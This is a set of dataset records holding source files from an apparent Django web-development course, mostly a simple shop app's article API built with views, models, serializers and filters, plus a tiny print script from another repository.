[ { "alpha_fraction": 0.5771725177764893, "alphanum_fraction": 0.5940337181091309, "avg_line_length": 24.700000762939453, "blob_id": "bd343f1e195be84f8292df57522057b7cb10206a", "content_id": "b27775e4bb11812532b77e20337167e918180641", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1542, "license_type": "no_license", "max_line_length": 68, "num_lines": 60, "path": "/05-django/solutions/exercise-2-static/shop/views.py", "repo_name": "Powercoders-International/ft-web-dev", "src_encoding": "UTF-8", "text": "from json import loads\nfrom django.http import JsonResponse\nfrom django.http import HttpResponseNotAllowed\n\n\ndef view_articles(request):\n \"\"\" Handles GET and POST requests for a collection of articles.\n\n curl --include \\\n http://localhost:8000/shop/articles/\n\n curl --include \\\n --request POST \\\n --header \"Content-Type: application/json\" \\\n --data '{\"name\":\"test\"}' \\\n http://localhost:8000/shop/articles/\n\n \"\"\"\n\n if request.method == 'GET':\n return JsonResponse({'ids': [id for id in range(10)]})\n\n if request.method == 'POST':\n data = loads(request.body)\n data['id'] = 1\n return JsonResponse(data)\n\n return HttpResponseNotAllowed(['GET', 'POST'])\n\n\ndef view_article(request, id):\n \"\"\" Handles GET, PATCH and DELETE requests for a single article.\n\n curl --include \\\n http://localhost:8000/shop/articles/1/\n\n curl --include \\\n --request PATCH \\\n --header \"Content-Type: application/json\" \\\n --data '{\"name\":\"test\"}' \\\n http://localhost:8000/shop/articles/1/\n\n curl --include \\\n --request DELETE \\\n http://localhost:8000/shop/articles/1/\n\n \"\"\"\n\n if request.method == 'GET':\n return JsonResponse({'id': id})\n\n if request.method == 'PATCH':\n data = loads(request.body)\n data['id'] = id\n return JsonResponse(data)\n\n if request.method == 'DELETE':\n return JsonResponse({'id': id})\n\n return HttpResponseNotAllowed(['GET', 'PATCH', 'DELETE'])\n" }, { "alpha_fraction": 0.753731369972229, "alphanum_fraction": 0.7686567306518555, "avg_line_length": 21.33333396911621, "blob_id": "fcdb724d8f4b867065c936278de0e16e4d7cbd09", "content_id": "95a431c35a846bd7db41056d62aa6ea6ba9db859", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 134, "license_type": "no_license", "max_line_length": 38, "num_lines": 6, "path": "/05-django/solutions/exercise-3-models/shop/models.py", "repo_name": "Powercoders-International/ft-web-dev", "src_encoding": "UTF-8", "text": "from django.db.models import Model\nfrom django.db.models import CharField\n\n\nclass Article(Model):\n name = CharField(max_length=50)\n" }, { "alpha_fraction": 0.8260869383811951, "alphanum_fraction": 0.8260869383811951, "avg_line_length": 25.285715103149414, "blob_id": "65bafa38965c3345faad8cc18a4bfea44bf32f5c", "content_id": "219317a629da670711bbf9906134995873755b8d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 184, "license_type": "no_license", "max_line_length": 48, "num_lines": 7, "path": "/05-django/solutions/exercise-5-filters/shop/urls.py", "repo_name": "Powercoders-International/ft-web-dev", "src_encoding": "UTF-8", "text": "from shop.views import ArticleViewSet\nfrom rest_framework.routers import DefaultRouter\n\n\nrouter = DefaultRouter()\nrouter.register('articles', ArticleViewSet)\nurlpatterns = router.urls\n" }, { "alpha_fraction": 0.8999999761581421, "alphanum_fraction": 0.8999999761581421, "avg_line_length": 11.5, "blob_id": "a130c218b5c9f77e9043d77595d0aff7e35ecef7", "content_id": "3e3d2fd42c4d20b3d6e7a582750724222bf814f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 50, "license_type": "no_license", "max_line_length": 19, "num_lines": 4, "path": "/05-django/solutions/exercise-5-filters/requirements.txt", "repo_name": "Powercoders-International/ft-web-dev", "src_encoding": "UTF-8", "text": "django\ndjango-filter\ndjangorestframework\nmarkdown\n" }, { "alpha_fraction": 0.8196721076965332, "alphanum_fraction": 0.8196721076965332, "avg_line_length": 29.5, "blob_id": "8d48a2f8f449978ecd3cbd69ae09d502dddba6d8", "content_id": "95f0153dd7e0e7280ea9fd7acc5786a917bf84e5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 244, "license_type": "no_license", "max_line_length": 48, "num_lines": 8, "path": "/05-django/solutions/exercise-4-restframework/shop/views.py", "repo_name": "Powercoders-International/ft-web-dev", "src_encoding": "UTF-8", "text": "from shop.models import Article\nfrom shop.serializers import ArticleSerializer\nfrom rest_framework.viewsets import ModelViewSet\n\n\nclass ArticleViewSet(ModelViewSet):\n queryset = Article.objects.all()\n serializer_class = ArticleSerializer\n" }, { "alpha_fraction": 0.7058823704719543, "alphanum_fraction": 0.7058823704719543, "avg_line_length": 26.200000762939453, "blob_id": "5ab0639a1e2ca0c33c2b0cbca7e340932fc307a5", "content_id": "b8c812d32314cc387415b4cdf463252de0ca45da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 272, "license_type": "no_license", "max_line_length": 65, "num_lines": 10, "path": "/05-django/solutions/exercise-5-filters/shop/serializers.py", "repo_name": "Powercoders-International/ft-web-dev", "src_encoding": "UTF-8", "text": "from shop.models import Article\nfrom rest_framework.serializers import HyperlinkedModelSerializer\n\n\nclass ArticleSerializer(HyperlinkedModelSerializer):\n\n class Meta:\n model = Article\n fields = ['id', 'name', 'category']\n read_only_fields = ['id']\n" }, { "alpha_fraction": 0.6954023241996765, "alphanum_fraction": 0.6954023241996765, "avg_line_length": 18.33333396911621, "blob_id": "9e7062664220a059b7371dd61b07ca817b8329f2", "content_id": "1b0b6d26b39761e18ed1335e4cdd601350b3ca53", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 174, "license_type": "no_license", "max_line_length": 36, "num_lines": 9, "path": "/05-django/solutions/exercise-5-filters/shop/filters.py", "repo_name": "Powercoders-International/ft-web-dev", "src_encoding": "UTF-8", "text": "from django_filters import FilterSet\nfrom shop.models import Article\n\n\nclass ArticleFilter(FilterSet):\n\n class Meta:\n model = Article\n fields = ['category']\n" }, { "alpha_fraction": 0.7184466123580933, "alphanum_fraction": 0.7184466123580933, "avg_line_length": 21.88888931274414, "blob_id": "512b4ccb28d6487293ed82f4ee6a36372863e77f", "content_id": "93edb757c89b107325371b65e2ea2082703e5b72", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 206, "license_type": "no_license", "max_line_length": 45, "num_lines": 9, "path": "/05-django/solutions/exercise-2-static/shop/urls.py", "repo_name": "Powercoders-International/ft-web-dev", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom shop.views import view_article\nfrom shop.views import view_articles\n\n\nurlpatterns = [\n path('articles/', view_articles),\n path('articles/<int:id>/', view_article),\n]\n" }, { "alpha_fraction": 0.5617634057998657, "alphanum_fraction": 0.5718027353286743, "avg_line_length": 25.95294189453125, "blob_id": "558ebb4f3b6dde77a94b8e4a594ad78c026b3bba", "content_id": "59132329df6321e50d465a13d67234f57a35cd12", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2291, "license_type": "no_license", "max_line_length": 68, "num_lines": 85, "path": "/05-django/solutions/exercise-3-models/shop/views.py", "repo_name": "Powercoders-International/ft-web-dev", "src_encoding": "UTF-8", "text": "from json import loads\nfrom django.http import JsonResponse\nfrom django.http import HttpResponseNotAllowed\nfrom django.http import HttpResponseNotFound\nfrom shop.models import Article\n\n\ndef view_articles(request):\n \"\"\" Handles GET and POST requests for a collection of articles.\n\n curl --include \\\n http://localhost:8000/shop/articles/\n\n curl --include \\\n --request POST \\\n --header \"Content-Type: application/json\" \\\n --data '{\"name\":\"test\"}' \\\n http://localhost:8000/shop/articles/\n\n \"\"\"\n\n if request.method == 'GET':\n articles = []\n for article in Article.objects.all():\n articles.append({\n 'id': article.id,\n 'name': article.name\n })\n articles = Article.objects.all()\n return JsonResponse({'articles': articles})\n\n if request.method == 'POST':\n data = loads(request.body)\n name = data.get('name')\n article = Article.objects.create(name=name)\n return JsonResponse({\n 'id': article.id,\n 'name': article.name\n })\n\n return HttpResponseNotAllowed(['GET', 'POST'])\n\n\ndef view_article(request, id):\n \"\"\" Handles GET, PATCH and DELETE requests for a single article.\n\n curl --include \\\n http://localhost:8000/shop/articles/1/\n\n curl --include \\\n --request PATCH \\\n --header \"Content-Type: application/json\" \\\n --data '{\"name\":\"foo\"}' \\\n http://localhost:8000/shop/articles/1/\n\n curl --include \\\n --request DELETE \\\n http://localhost:8000/shop/articles/1/\n\n \"\"\"\n article = Article.objects.filter(id=id).first()\n if not article:\n return HttpResponseNotFound()\n\n if request.method == 'GET':\n return JsonResponse({\n 'id': article.id,\n 'name': article.name\n })\n\n if request.method == 'PATCH':\n data = loads(request.body)\n name = data.get('name')\n article.name = name\n article.save()\n return JsonResponse({\n 'id': article.id,\n 'name': article.name\n })\n\n if request.method == 'DELETE':\n article.delete()\n return JsonResponse({'id': id})\n\n return HttpResponseNotAllowed(['GET', 'PATCH', 'DELETE'])\n" }, { "alpha_fraction": 0.8040540814399719, "alphanum_fraction": 0.8040540814399719, "avg_line_length": 20.14285659790039, "blob_id": "f3cda153ce080ae46276f18fa2d4f30cef013618", "content_id": "c64d57ea6f144cc213480d8d3dd68deea5b78b7f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 148, "license_type": "no_license", "max_line_length": 53, "num_lines": 7, "path": "/05-django/solutions/exercise-3-models/shop/admin.py", "repo_name": "Powercoders-International/ft-web-dev", "src_encoding": "UTF-8", "text": "from django.contrib.admin import ModelAdmin, register\nfrom shop.models import Article\n\n\n@register(Article)\nclass ArticelAdmin(ModelAdmin):\n pass\n" } ]
10
da-mob/capgfirstjenkin
https://github.com/da-mob/capgfirstjenkin
f6de7881db41cd0aa2a9293ed4f19ddb3468d56e
fed5b5910949e6bc72b66701a5a267ffa79f77f7
dda597bf9ca7831b10c87af8c55902780d5e2677
refs/heads/master
2020-08-24T06:00:57.330587
2019-10-22T09:27:28
2019-10-22T09:27:28
216,772,560
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5706214904785156, "alphanum_fraction": 0.5706214904785156, "avg_line_length": 18.66666603088379, "blob_id": "020e2796d5033f73c66d3d6148c3705101185a84", "content_id": "d4d9adf91b9c03dfb0790fea8831fd3f8de2f5a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 177, "license_type": "no_license", "max_line_length": 27, "num_lines": 9, "path": "/Calci.py", "repo_name": "da-mob/capgfirstjenkin", "src_encoding": "UTF-8", "text": "def add(x, y):\n \"\"\"Add function\"\"\"\n return x+y\ndef subtract(x,y):\n \"\"\"Subtract function\"\"\"\n return x-y\ndef multiply(x,y):\n \"\"\"Multiply function\"\"\"\n return x*y\n" } ]
1
krzysztof-dudzic/ProjektPortfolioLab
https://github.com/krzysztof-dudzic/ProjektPortfolioLab
3ed52a03bcd2503f1369a5f8c8a79fba02b87168
81dc3b63b725bdc7a526c8115bea4fb44a021255
64699bd6efe3377b878048f530f291d024d94537
refs/heads/main
2023-08-14T22:21:11.829209
2021-09-16T13:11:05
2021-09-16T13:11:05
399,894,602
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7100591659545898, "alphanum_fraction": 0.7192636132240295, "avg_line_length": 28.80392074584961, "blob_id": "0e589d110d3784a0ba2185f50963259feee5cd4b", "content_id": "ca96dc38f6353f9edf9478b1aa528b5427069f3e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1523, "license_type": "no_license", "max_line_length": 76, "num_lines": 51, "path": "/charitydonation/models.py", "repo_name": "krzysztof-dudzic/ProjektPortfolioLab", "src_encoding": "UTF-8", "text": "import datetime\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.models import AbstractUser\nfrom django.db import models\nfrom django.utils.translation import gettext_lazy as _\n# from ProjektPortfolioLab.donation import settings\nfrom django.conf import settings\n\nUser = settings.AUTH_USER_MODEL\n\n\nclass Category(models.Model):\n name = models.CharField(max_length=64)\n\n def __str__(self):\n return self.name\n\nINSTITUTIONS = (\n ('1', \"Fundacja\"),\n ('2', \"Organizacja pozarządowa\"),\n ('3', \"Zbiórka lokalna\"),\n)\n\n\nclass Institution(models.Model):\n\n istitution_name = models.CharField(max_length=128)\n description = models.TextField()\n type = models.CharField(max_length=2, choices=INSTITUTIONS, default='1')\n categories = models.ManyToManyField(Category)\n\n def __str__(self):\n return self.istitution_name\n\n\nclass Donation(models.Model):\n quantity = models.IntegerField()\n categories = models.ManyToManyField(Category)\n institution = models.ForeignKey(Institution, on_delete=models.CASCADE)\n address = models.TextField()\n phone_number = models.CharField(max_length=12)\n city = models.CharField(max_length=64)\n zip_code = models.TextField()\n pick_up_date = models.DateField()\n pick_up_time = models.TimeField(default=datetime.time)\n pick_up_comment = models.TextField()\n user = models.ForeignKey(User, on_delete=models.CASCADE)\n\n#\n# class CustomUser(AbstractUser):\n# email = models.EmailField(_('email address'), unique=True)\n\n" }, { "alpha_fraction": 0.8370786309242249, "alphanum_fraction": 0.8370786309242249, "avg_line_length": 28.83333396911621, "blob_id": "b77f834c5bec53f6abd3b51f2d9d1efc38440dad", "content_id": "3c8c4b4e449dc32b183317658eb3783eff23bd8c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 178, "license_type": "no_license", "max_line_length": 51, "num_lines": 6, "path": "/charitydonation/admin.py", "repo_name": "krzysztof-dudzic/ProjektPortfolioLab", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import Category, Institution, Donation\n\nadmin.site.register(Category)\nadmin.site.register(Institution)\nadmin.site.register(Donation)" }, { "alpha_fraction": 0.7028571367263794, "alphanum_fraction": 0.7079365253448486, "avg_line_length": 44, "blob_id": "1b21c07f83159078814e9278d7a50fb8f7faabff", "content_id": "a35a38ca8558d307cc396c35b4a0eb2a69969c14", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1575, "license_type": "no_license", "max_line_length": 127, "num_lines": 35, "path": "/donation/urls.py", "repo_name": "krzysztof-dudzic/ProjektPortfolioLab", "src_encoding": "UTF-8", "text": "\"\"\"donation URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom charitydonation.views import LandingPage, AddDonation, UserView, PasswordChangeView, PasswordChangeDoneView, DonationReady\nfrom accounts.views import RegisterView, LoginView, LogoutView\n\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', LandingPage.as_view(), name='landing-page'),\n path('add_donation/', AddDonation.as_view(), name='add-donation'),\n path('login/', LoginView.as_view(), name='login'),\n path('register/', RegisterView.as_view(), name='register'),\n path('logout/', LogoutView.as_view(), name='logout'),\n path('user_view/', UserView.as_view(), name='user-view'),\n path('password_change/', PasswordChangeView.as_view(), name='user-change'),\n path('password_change/done/', PasswordChangeDoneView.as_view(), name='user-change-done'),\n path('add_donation/form-confirmation/', DonationReady.as_view(), name='form-ready'),\n\n\n]\n" }, { "alpha_fraction": 0.7048114538192749, "alphanum_fraction": 0.7048114538192749, "avg_line_length": 37.45000076293945, "blob_id": "5d99e96fd3d5d7356a3aaf24df35f4229e2ab839", "content_id": "2413e928639d769cbcbf85c008c164d7938ce6cf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 769, "license_type": "no_license", "max_line_length": 96, "num_lines": 20, "path": "/charitydonation/forms.py", "repo_name": "krzysztof-dudzic/ProjektPortfolioLab", "src_encoding": "UTF-8", "text": "from django.contrib.auth.forms import UserCreationForm, UserChangeForm\nfrom .models import Donation\nfrom django import forms\nfrom django.contrib.auth.forms import UserCreationForm, AuthenticationForm\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import ValidationError\nfrom django.contrib.auth import get_user_model\n\n\n# class CreateUserForm(UserCreationForm):\n# class Meta:\n# model = get_user_model()\n# fields = ('email', 'username', 'password1', 'password2')\n\n\nclass AddDonationForm(forms.Form):\n class Meta:\n model = Donation\n fields = ('quantity', 'categories', 'institution', 'address', 'phone_number',\n 'city', 'zip_code', 'pick_up_date', 'pick_up_time', 'pick_up_comment', 'user')\n" }, { "alpha_fraction": 0.5263158082962036, "alphanum_fraction": 0.5789473652839661, "avg_line_length": 22.75, "blob_id": "57e86c14ae38811324b1194e39461bf2cd4c7ca4", "content_id": "6f427d19da968a02feb6e5c265affd232ba605d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 570, "license_type": "no_license", "max_line_length": 58, "num_lines": 24, "path": "/charitydonation/migrations/0003_auto_20210913_1642.py", "repo_name": "krzysztof-dudzic/ProjektPortfolioLab", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1 on 2021-09-13 16:42\n\nimport datetime\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('charitydonation', '0002_auto_20210909_1554'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='donation',\n name='pick_up_time',\n field=models.TimeField(default=datetime.time),\n ),\n migrations.AlterField(\n model_name='donation',\n name='pick_up_date',\n field=models.DateField(),\n ),\n ]\n" }, { "alpha_fraction": 0.6274416446685791, "alphanum_fraction": 0.6279180645942688, "avg_line_length": 34.576271057128906, "blob_id": "e30be856f994695ec5a973110224250d041d06e3", "content_id": "28cb12866f0f1a3ef4c39113029a76cc34df964f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2099, "license_type": "no_license", "max_line_length": 105, "num_lines": 59, "path": "/accounts/views.py", "repo_name": "krzysztof-dudzic/ProjektPortfolioLab", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.views import View, generic\nfrom django.contrib.auth import views\n# from .forms import RegisterForm\nfrom django.shortcuts import render\nfrom django.views import View, generic\n# from charitydonation.models import Donation, Institution\nfrom .forms import CreateUserForm, LoginForm, CustomUserCreationForm\nfrom django.contrib.auth import login, logout, authenticate, views\nfrom django.shortcuts import redirect\nfrom django.urls import reverse_lazy\n\n\nclass LoginView(View):\n def get(self, request):\n form = LoginForm()\n return render(request, 'login.html', {'form': form})\n\n def post(self, request, *args, **kwargs):\n form = LoginForm(request.POST)\n if form.is_valid():\n user = authenticate(email=form.cleaned_data['email'], password=form.cleaned_data['password'])\n # breakpoint()\n if user is not None:\n\n login(request, user)\n return redirect('landing-page')\n else:\n return render(request, 'login.html', {'form': form})\n else:\n return render(request, 'login.html', {'form': form})\n\n\nclass RegisterView(View):\n def get(self, request):\n form = CustomUserCreationForm()\n return render(request, 'register.html', {'form': form})\n\n def post(self, request):\n form = CustomUserCreationForm(request.POST)\n if form.is_valid():\n form.save()\n # instance = form.save(commit=False)\n # instance.set_password(instance.password)\n # # form.clean_password2()\n # instance.save()\n # # email = form.cleaned_data['email']\n # raw_password = form.cleaned_data['password']\n # user = authenticate(email=email, password=raw_password)\n # user.save()\n # login(request, user)\n return redirect('landing-page')\n return render(request, 'register.html', {'form': form})\n\n\nclass LogoutView(View):\n def get(self, request):\n logout(request)\n return redirect('landing-page')\n" }, { "alpha_fraction": 0.6407440900802612, "alphanum_fraction": 0.6414164304733276, "avg_line_length": 38.486724853515625, "blob_id": "02d26aac4c8173b9650f03a527408b32854c6476", "content_id": "6d5037a7e06963cce9367a1e213c8fc43ca2d54b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4463, "license_type": "no_license", "max_line_length": 107, "num_lines": 113, "path": "/charitydonation/views.py", "repo_name": "krzysztof-dudzic/ProjektPortfolioLab", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.views import View, generic\nfrom .models import Donation, Institution, Category\nfrom .forms import AddDonationForm\nfrom django.contrib.auth import login, logout, authenticate, views\nfrom django.shortcuts import redirect\nfrom django.urls import reverse_lazy\nfrom django.contrib.auth.mixins import LoginRequiredMixin, PermissionRequiredMixin\nfrom django.views.generic.edit import CreateView\nfrom django.db.models import Avg, Count\nfrom django.core.paginator import Paginator\nfrom django.contrib.auth.views import PasswordChangeView, PasswordChangeDoneView\nfrom django.http import HttpResponse\nfrom django.db.models import Q, Sum\n\n\nclass LandingPage(View):\n def get(self, request):\n count_bags = Donation.objects.all()\n count_b = count_bags.aggregate(Sum('quantity'))['quantity__sum']\n count_institutions = Donation.objects.distinct(\"institution\").count()\n\n\n #\n all_institution_fund = Institution.objects.filter(type='1')\n all_institution_org = Institution.objects.filter(type='2')\n all_institution_lok = Institution.objects.filter(type='3')\n\n return render(request, 'index.html', {'count_b': count_b, 'count_institutions': count_institutions,\n 'all_institution_fund': all_institution_fund,\n 'all_institution_org': all_institution_org,\n 'all_institution_lok': all_institution_lok}\n )\n\n\nclass AddDonation(LoginRequiredMixin, View):\n login_url = '/'\n # raise_exception = True\n\n def get(self, request):\n categories_all = Category.objects.all()\n institutions_all = Institution.objects.all()\n form = AddDonationForm()\n\n # redirect_field_name = 'landing-page'\n return render(request, 'form.html',\n {'categories_all': categories_all,\n 'institutions_all': institutions_all, 'form': form})\n\n def post(self, request):\n form = AddDonationForm(request.POST)\n\n if form.is_valid():\n\n # categories_all = Category.objects.all()\n categories = form.cleaned_data['categories']\n # institutions_all = Institution.objects.all()\n quantity = form.cleaned_data['bags']\n # category_id = request.POST.get('category.id')\n # catogeria = Institution.objects.filter(id=category_id)\n institution = form.cleaned_data['organization']\n # if request.POST.get(\n # catego = Category.objects.get(id=category_id)\n address = form.cleaned_data['address']\n city = form.cleaned_data['city']\n zip_code = form.cleaned_data['postcode']\n phone_number = form.cleaned_data['phone']\n pick_up_date = form.cleaned_data['data']\n pick_up_time = form.cleaned_data['time']\n pick_up_comment = form.cleaned_data['more_info']\n user = request.user\n donat = Donation.objects.create(\n quantity=quantity, categories=categories, institution=institution,\n address=address, phone_number=phone_number, city=city, zip_code=zip_code,\n pick_up_date=pick_up_date, pick_up_comment=pick_up_comment, pick_up_time=pick_up_time,\n user=user)\n donat.save()\n # redirect_field_name = 'landing-page'\n return render(request, 'form-confirmation.html', {'form': form})\n\n return render(request, 'form.html', {'form': form})\n # return HttpResponse(\"Źle\")\n# class LoginView(views.LoginView):\n# form_class = LoginForm\n# template_name = 'login.html'\n#\n#\n# class RegisterView(generic.CreateView):\n# form_class = CreateUserForm\n# template_name = 'register.html'\n# success_url = reverse_lazy('login')\n\n\nclass UserView(LoginRequiredMixin, View):\n login_url = '/'\n\n def get(self, request):\n donation_user = Donation.objects.filter(user=request.user)\n return render(request, 'user-view.html', {'donation_user': donation_user})\n\n\nclass PasswordChangeView(PasswordChangeView):\n template_name = 'change-password.html'\n success_url = 'done/'\n\n\nclass PasswordChangeDoneView(PasswordChangeDoneView):\n template_name = 'change-password-done.html'\n\n\nclass DonationReady(View):\n def get(self, request):\n return render(request, 'form-confirmation.html')\n" }, { "alpha_fraction": 0.5453400611877441, "alphanum_fraction": 0.5743073225021362, "avg_line_length": 27.35714340209961, "blob_id": "f1d88fb41eb80edd3319577a7e47c38cd8156ec8", "content_id": "2a3a87b7114c660a2f937178b080f59c7d317aa8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 796, "license_type": "no_license", "max_line_length": 151, "num_lines": 28, "path": "/charitydonation/migrations/0002_auto_20210909_1554.py", "repo_name": "krzysztof-dudzic/ProjektPortfolioLab", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1 on 2021-09-09 15:54\n\nimport datetime\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('charitydonation', '0001_initial'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='donation',\n name='pick_up_time',\n ),\n migrations.AlterField(\n model_name='donation',\n name='pick_up_date',\n field=models.DateTimeField(verbose_name=datetime.datetime),\n ),\n migrations.AlterField(\n model_name='institution',\n name='type',\n field=models.CharField(choices=[('1', 'Fundacja'), ('2', 'Organizacja pozarządowa'), ('3', 'Zbiórka lokalna')], default='1', max_length=2),\n ),\n ]\n" }, { "alpha_fraction": 0.5970681309700012, "alphanum_fraction": 0.5988510251045227, "avg_line_length": 29.96932601928711, "blob_id": "2c67fb0290755dd9be7682d42c5010b6f8d46a02", "content_id": "dbb83e485bd6f6eaac0874f294d19f08ca91e8bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5048, "license_type": "no_license", "max_line_length": 79, "num_lines": 163, "path": "/accounts/models.py", "repo_name": "krzysztof-dudzic/ProjektPortfolioLab", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.contrib.auth.models import (\n BaseUserManager, AbstractBaseUser, UserManager\n)\n#\n# class UserManager(BaseUserManager):\n# def create_user(self, email, password=None):\n# \"\"\"\n# Creates and saves a User with the given email and password.\n# \"\"\"\n# if not email:\n# raise ValueError('Users must have an email address')\n#\n# if not password:\n# raise ValueError(\"Users must have a password!!! \")\n# user = self.model(\n# email=self.normalize_email(email),\n# )\n#\n# user.set_password(password)\n# user.staff = is_staff\n# user.admin = is_admin\n# user.active = is_active\n# # user.save(using=self._db)\n# return user\n#\n# def create_staffuser(self, email, password):\n# \"\"\"\n# Creates and saves a staff user with the given email and password.\n# \"\"\"\n# user = self.create_user(\n# email,\n# password=password,\n# )\n# user.staff = True\n# # user.save(using=self._db)\n# return user\n#\n# def create_superuser(self, email, password):\n# \"\"\"\n# Creates and saves a superuser with the given email and password.\n# \"\"\"\n# user = self.create_user(\n# email,\n# password=password,\n# )\n# user.staff = True\n# user.admin = True\n# # user.save(using=self._db)\n# return user\n#\n# class User(AbstractBaseUser):\n# email = models.EmailField(\n# verbose_name='email address',\n# max_length=255,\n# unique=True,\n# )\n# # full_name = models.CharField(max_length=255, blank=True, null=True)\n# is_active = models.BooleanField(default=True)\n# staff = models.BooleanField(default=False) # a admin user; non super-user\n# admin = models.BooleanField(default=False) # a superuser\n# timestamp = models.DateTimeField(auto_now_add=True)\n# # notice the absence of a \"Password field\", that is built in.\n#\n# USERNAME_FIELD = 'email'\n# REQUIRED_FIELDS = [] # Email & Password are required by default.\n# objects = UserManager()\n#\n# def get_full_name(self):\n# # The user is identified by their email address\n# return self.email\n#\n# def get_short_name(self):\n# # The user is identified by their email address\n# return self.email\n#\n# def __str__(self):\n# return self.email\n#\n# def has_perm(self, perm, obj=None):\n# \"Does the user have a specific permission?\"\n# # Simplest possible answer: Yes, always\n# return True\n#\n# def has_module_perms(self, app_label):\n# \"Does the user have permissions to view the app `app_label`?\"\n# # Simplest possible answer: Yes, always\n# return True\n#\n# @property\n# def is_staff(self):\n# \"Is the user a member of staff?\"\n# return self.staff\n#\n# @property\n# def is_active(self):\n# \"Is the user a admin member?\"\n# return self.active\n#\n# @property\n# def is_admin(self):\n# \"Is the user a admin member?\"\n# return self.admin\n#\n#\n#\n#\n#\n# class GuestEmail(models.Model):\n# email = models.EmailField()\n# active = models.BooleanField(default=True)\n# update = models.DateTimeField(auto_now=True)\n# timestamp = models.DateTimeField(auto_now_add=True)\n#\n# def __str__(self):\n# return self.email\n\nfrom django.db import models\nfrom django.contrib.auth.models import AbstractUser\nfrom django.utils.translation import gettext_lazy as _\n\n\nclass UserManager(BaseUserManager):\n def create_user(self, email, password=None, **extra_fields):\n\n if not email:\n raise ValueError('Users must have an email address')\n\n if not password:\n raise ValueError(\"Users must have a password!!! \")\n\n extra_fields.setdefault('is_staff', False)\n extra_fields.setdefault('is_superuser', False)\n extra_fields.setdefault('is_active', True)\n\n email = self.normalize_email(email)\n user = self.model(email=email, **extra_fields)\n user.set_password(password)\n user.save()\n return user\n\n def create_superuser(self, email, password, **extra_fields):\n\n extra_fields.setdefault('is_staff', True)\n extra_fields.setdefault('is_superuser', True)\n extra_fields.setdefault('is_active', True)\n\n if extra_fields.get('is_staff') is not True:\n raise ValueError(_('Superuser must have is_staff=True.'))\n if extra_fields.get('is_superuser') is not True:\n raise ValueError(_('Superuser must have is_superuser=True.'))\n return self.create_user(email, password, **extra_fields)\n\n\nclass CustomUser(AbstractUser):\n username = None\n email = models.EmailField(_('email address'), max_length=255, unique=True)\n USERNAME_FIELD = 'email'\n REQUIRED_FIELDS = []\n objects = UserManager()\n\n def __str__(self):\n return self.email\n" } ]
9
onebeardie/JIUJIU
https://github.com/onebeardie/JIUJIU
68495c04f19a7574705c0a7371fc73971354ffe5
c06255283502e5f2c80ac42d799606157d8e142a
344b9b12642c886397dc464a9e664e81ade1d6f7
refs/heads/master
2020-08-18T15:54:18.524078
2019-10-17T14:54:18
2019-10-17T14:54:18
215,808,127
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6025640964508057, "alphanum_fraction": 0.6282051205635071, "avg_line_length": 8.875, "blob_id": "a70df40e7b7defd13a13d54a7496499197b20724", "content_id": "6b37476260b8fbe79f1dde272884f24e4f423be9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 130, "license_type": "no_license", "max_line_length": 21, "num_lines": 8, "path": "/JIUJIU.py", "repo_name": "onebeardie/JIUJIU", "src_encoding": "UTF-8", "text": "A=2\nwhile A==1:\n print(\"源哥,啾啾喜欢你\")\n\n\nprint(\"啾啾说源哥太好了\")\n\nprint(\"刚刚啾啾的小手太快了\")" } ]
1
Highclose/Python
https://github.com/Highclose/Python
dfb2eb1d67d56d225dcc7cfb33ea5f2e82b19bc6
50483b6f8103d2eec4843158f83b63759e6f930d
